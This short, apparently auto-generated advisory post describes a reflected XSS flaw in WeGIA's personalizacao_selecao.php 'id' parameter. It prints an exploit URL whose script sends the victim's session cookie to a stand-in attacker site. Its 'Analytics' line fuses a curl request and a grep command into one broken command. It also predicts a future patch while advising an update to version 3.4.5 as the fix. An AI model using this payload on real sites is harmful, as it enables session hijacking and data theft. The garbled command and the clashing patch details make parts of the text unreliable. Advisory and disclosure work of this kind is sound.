Listen to this Post
How the CVE Works
The vulnerability exists in the `personalizacao_selecao.php` endpoint of WeGIA (< v3.4.5). Attackers can inject malicious JavaScript via the `id` parameter, which is reflected back in the server response without proper sanitization. This allows execution of arbitrary scripts in the victim’s browser under their session context. The flaw arises due to insufficient input validation, enabling attackers to craft malicious URLs that, when visited, trigger the XSS payload.
DailyCVE Form
Platform: WeGIA
Version: < 3.4.5
Vulnerability: Reflected XSS
Severity: Medium
Date: 07/25/2025
Prediction: Patch expected by 08/10/2025
What Undercode Say
Analytics:
curl -X GET "http://example.com/personalizacao_selecao.php?id=<script>alert(1)</script>" grep -r "id=" /var/www/wegia/
Exploit:
http://victim-site/personalizacao_selecao.php?id=<script>document.location='attacker-site/?cookie='+document.cookie</script>
Protection from this CVE:
- Update to WeGIA 3.4.5
- Sanitize `id` parameter input
- Implement CSP headers
Impact:
- Session hijacking
- Unauthorized actions
- Data theft
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
